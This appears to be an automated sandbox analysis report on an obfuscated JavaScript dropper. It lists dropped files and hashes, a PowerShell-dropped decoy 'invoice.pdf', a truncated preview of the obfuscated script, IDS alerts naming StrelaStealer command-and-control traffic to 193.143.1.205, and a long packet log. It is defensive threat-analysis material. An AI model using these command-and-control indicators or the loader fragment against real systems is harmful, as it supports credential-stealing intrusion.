C:\Users\user\AppData\Local\Temp\acrocef_low\73e87f6b-4f0a-4c97-9f41-bba49282faf3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLYZwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLYZwZGuGZn3mlind9i4ufFXpAXkru
MD5:	EC8D4FAB55F24C0E344D263724846C4A
SHA1:	5444D90F86D68A23AF7FB5434DEAE740D57D0312
SHA-256:	E489C11D38BFF8F1F51351BAEBEE9F723A5C036DA0B0CB9C82306251017054EE
SHA-512:	21018FD299944987654C202779C8E0185815868DE7179B814F145573EE8D45ACC33CA7E008CB23774C473DD7939E9D7D7C2E5A14E31D5EC62F7BFFDBBAB41F9A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d29630d0-f93d-4322-8bf9-bb7e017a94be.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17057), with CRLF line terminators
Entropy (8bit):	4.899906403217058
TrID:
File name:	22736232701915520651.js
File size:	20'574 bytes
MD5:	b548b655d29f7509dd1a83eef19c235e
SHA1:	ad4ac718e4019597ec9a3414bbe3f8320fdb4f8b
SHA256:	d32a95f48f7f8e6f3af8bbbf025608fa1e2ee0a4bb335d150a7301a209dd5f26
SHA512:	60a746a7c68e5f16e6ad527402ac7f43e06f7690337bd69d66c0e0f5939c19627b05c270feef0ca6663d2f58bbc1a8bae7b068175dcd004c9ee1ad8c8afaef22
SSDEEP:	384:o1KTq5571Kg+AstrqZoVewWeoOdtLY0VkM/eIB+m:o1KTG571KlqbOjLhkM/eIIm
TLSH:	0B9226807C6AEF098BC904C4C2130AF9856B13EC8428ECF5B5D2B4593B17B67B4D65BE
File Content Preview:	function mfiygszjx(){zqdsdgkzx=[1031,3079,5127,4103,2055,3072];var wowksxod=this[zwelnqmvw+ojaidbg+emnuxjeb+vxelplpo+hoqacjjbj+awkhv+stzgulog+psooxvimg](this[vysjmf+dvuhjv+cvbjrpwe+emnuxjeb+opbahx+zwelnqmvw+psooxvimg][czasvpb+emnuxjeb+hoqacjjbj+ojaidbg+ps

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:35:35.145572+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49739	193.143.1.205	80	TCP
2025-01-11T05:35:35.145572+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49739	193.143.1.205	80	TCP
2025-01-11T05:35:38.194248+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49757	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:35:34.360658884 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:34.365695953 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:34.365804911 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:34.369462013 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:34.374382973 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.145488977 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.145505905 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.145524025 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.145536900 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.145550013 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.145565033 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.145571947 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.145577908 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.145590067 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.145600080 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.145608902 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.145621061 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.145646095 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.150609970 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.150625944 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.150640011 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.150702953 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.188141108 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.188157082 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.188225031 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.270530939 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.270546913 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.270560980 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.270611048 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.270682096 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.270692110 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.270761013 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.270925999 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.270937920 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.270948887 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.270962954 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.270965099 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.270991087 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.271625996 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.271640062 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.271652937 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.271668911 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.271668911 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.271682978 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.271687984 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.271713972 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.272383928 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.272402048 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.272413969 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.272425890 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.272439957 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.272439957 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.272459030 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.273267984 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.273282051 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.273294926 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.273309946 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.273329020 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.319812059 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.319828033 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.319840908 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.319899082 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.357362986 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.357388973 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.357435942 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.395840883 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.395859003 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.395873070 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.395886898 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.395900965 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.395929098 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.395991087 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.396024942 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396047115 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396091938 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.396172047 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396266937 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396301985 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.396320105 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396395922 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396406889 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396423101 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396430969 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.396456957 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.396466017 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396481037 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396495104 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396508932 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.396516085 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.396542072 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.397294044 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.397373915 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.397386074 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.397401094 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.397408962 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.397414923 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.397430897 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.397453070 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.397469997 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.397483110 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.397485971 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.397532940 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.398303986 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.398323059 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.398334026 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.398345947 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.398360968 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.398366928 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.398386002 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.398931980 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.398947001 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.398960114 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.398967028 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.398974895 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.398992062 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.398993969 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.399005890 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.399024963 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.399041891 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.399041891 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.399092913 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.399816990 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.399830103 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.399844885 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.399888039 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.399908066 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.406534910 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.406550884 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.406572104 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.406605005 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.406698942 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.406713963 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.406724930 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.406745911 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.406764030 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.444207907 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.444225073 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.444241047 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.444252968 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.444295883 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.444333076 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.482752085 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.482772112 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.482814074 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.531816959 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532051086 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532064915 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532078981 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532092094 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532098055 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.532105923 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532124996 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.532134056 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532174110 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.532301903 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532313108 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532324076 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532337904 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.532366991 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.532551050 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532557964 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532558918 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532574892 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532592058 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.532592058 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.532613039 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.533099890 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.533111095 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.533138990 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.533310890 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.533322096 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.533333063 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.533345938 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.533349037 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.533696890 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.533720970 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.533732891 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.533736944 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.533766031 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.533797026 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.533798933 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.533808947 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.533852100 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.534306049 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.534323931 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.534337997 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.534360886 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.534413099 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.534425020 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.534445047 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.534832954 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.534845114 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.534861088 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.534869909 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.534874916 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.534888029 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.534903049 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.534935951 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.534955978 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.535593033 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.535604954 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.535615921 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.535626888 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.535633087 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.535640001 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.535654068 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.535654068 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.535676956 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.535677910 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.535690069 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.535716057 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.536575079 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.536587000 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.536601067 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.536612988 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.536617041 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.536624908 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.536638021 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.536648989 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.536649942 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.536664963 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.536688089 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.536688089 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.537522078 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.537534952 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.537548065 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.537559032 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.537570953 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.537575006 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.537583113 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.537590981 CET	49739	80	192.168.2.10	193.143.1.205
